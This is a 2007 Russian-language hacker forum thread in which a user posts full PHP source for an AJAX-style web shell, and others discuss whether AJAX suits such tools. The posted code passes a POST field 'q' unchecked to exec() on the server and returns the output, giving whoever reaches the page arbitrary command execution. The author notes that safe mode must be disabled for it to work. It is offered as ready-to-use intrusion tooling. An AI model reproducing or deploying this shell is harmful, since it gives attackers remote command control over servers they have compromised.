web-shell на ajax

Discussion in 'PHP' started by _Master-, 14 Jun 2007.

  1. _Master-

    _Master- Banned

    Joined:
    30 May 2007
    Messages:
    76
    Likes Received:
    64
    Reputations:
    13
    Вроде нигде не видел такую реализацию, а посему решили со знакомым попробовать :)
    Итак, на момент релиза первой стейбл версии мы имеем - просто форму для ввода команд и получения их результата без перезагрузки страницы следовательно мы имеем экономию трафика и вебдванольный эффект =) Хочется полностью построить полноценный веб-шелл на аяксе :) Будем радовать релизами :)
    P.S. На сервере сейф-мод должен быть отключен
    Код ниже
    PHP:
    <?php

    /**
    *
    * Shell in AJAX style v 0.1
    * Idea of _Master-
    * Coding by Kirpichtion
    *
    */

    if ( ! isset( $_POST['q'] ) )
    echo
    '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <title>Shell in AJAX style</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <style type"text/css">
    BODY {
    font: 80% Dialog;
    color: rgb(187, 187, 187);
    background-color: #000;
    margin: 0px;
    padding: 0px;
    }

    FORM {
    padding: 20px;
    margin: 0;
    }

    #query input {
    font-family: Dialog;
    background-color: transparent;
    color: rgb(187, 187, 187);
    border: 1px inset rgb(187, 187, 187);
    width: 100%;
    padding: 6px;
    }

    #result div {
    padding: 20px;
    }

    </style>
    <script launguage="Javascript" type="text/javascript">

    window.onload = function() {
    var form = document.getElementById( \'query\' );
    var input = form.getElementsByTagName( \'INPUT\' ).item(0);

    form.onsubmit = function() { return sendQuery(); }
    input.value = \'\';
    input.focus();
    }

    function insertResult( request ) {
    var result = document.getElementById( \'result\' );
    var div = result.getElementsByTagName( \'DIV\' ).item(0);
    var form = document.getElementById( \'query\' );
    var input = form.getElementsByTagName( \'INPUT\' ).item(0);

    div.innerHTML = request.responseText;
    input.value = \'\';
    input.focus();
    }

    function sendQuery() {
    var form = document.getElementById( \'query\' );
    var query = document.getElementsByTagName( \'INPUT\' ).item(0).value;

    httpRequest( form.action, \'POST\', \'q=\' + query, insertResult );

    return false;
    }

    function httpRequest( url, method, params, func ) {
    var msxmlhttp = new Array(
    \'Msxml2.XMLHTTP.5.0\',
    \'Msxml2.XMLHTTP.4.0\',
    \'Msxml2.XMLHTTP.3.0\',
    \'Msxml2.XMLHTTP\',
    \'Microsoft.XMLHTTP\');

    if ( window.XMLHttpRequest ) {
    request = new XMLHttpRequest;
    if ( request.overrideMimeType ) {
    request.overrideMimeType( \'text/xml\' );
    }
    } else if ( window.ActiveXObject ) {
    for ( var i = 0; i < msxmlhttp.length; i ++ ) {
    try {
    request = new ActiveXObject( msxmlhttp[i] );
    } catch ( e ) {
    request = false;
    }
    }
    }

    if ( ! request ) {
    alert( \'Can\\\'t creare XMLHTTP instance :(\' );
    return false;
    }

    request.onreadystatechange = function() {
    if ( request.readyState == 4 ) {
    if ( request.status == 200 ) {
    func( request );
    } else {
    alert( \'There was a problem with the request :(\' );
    }
    }
    }
    request.open( method, url, true );
    request.setRequestHeader( \'Content-Type\', \'application/x-www-form-urlencoded\' );
    request.send( params );
    }

    </script>
    </head>

    <body>

    <form action="' 
    basename__FILE__ ) . '" id="query">
    <div>
    <input type="text" />
    </div>
    </form>

    <div id="result">
    <div></div>
    </div>

    </body>
    </html>'
    ;

    else {
    exec$_POST['q'], $result );
    echo 
    nl2brhtmlentitiesjoin"\n"$result ) ) );
    }

    ?>

    О всех найденных багах и все пожелания постим тут. Мой респект Kirpichtion
     
    5 people like this.
  2. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    просто интересно - зачем?
     
  3. _Master-

    _Master- Banned

    Joined:
    30 May 2007
    Messages:
    76
    Likes Received:
    64
    Reputations:
    13
    экономия трафика и нервов :) Ну нравится мне вебдванольные штуки :) Это плохо? ) Нравится когда сервер отвечает без презагрузки страницы :)
     
  4. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,548
    Likes Received:
    1,397
    Reputations:
    612
    хз. по мне так сувать аякс во все щели идиотизм.
     
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Идея не нова сделай полноценно работающий шелл а просто исполнение команд тогда поговорим...
     
    1 person likes this.
  6. Raz0r

    Raz0r Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    126
    Likes Received:
    20
    Reputations:
    0
    Бери любой готовый шелл и затачивай его на Ajax, а заниматься анонизмом имхо не надо.
     
  7. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    Бугага, нахера засирать скрипт этим аяксом?
    Весь код без аякса 5 строк =\
     
  8. Raz0r

    Raz0r Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    126
    Likes Received:
    20
    Reputations:
    0
    Видимо понт :) "эээ слыш, у мну тут шелл на аякси, ээ типа пантова,да?")))
     
  9. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    ИМХО это удобнее.
    У всех известных шелов свой дизайн. Почему ?
     
  10. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    ну если допишите до полноценного шелла то хз пусть будет --- тогда похвалю -- развивайте идею -- хотя мне тоже непонятно зачем и интересно сколько в итоге этот монстр будет весить =) -- rst у нас 80 кило весит ну пусть вы даже перепишите половину функций в ваш шелл --- ну я думаю в метр должны вложиться
     
  11. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Какой метр нафиг переписывать функции зачем?
    Ты понимаешь что такое ajax это считай как html только динамический контент. Самая большая часть будет в ксс далее все можно уложить в пару функций и далле просто вставлять их в диз, ну если не делать дохера картинок и так далее, линий загрузки к примеру.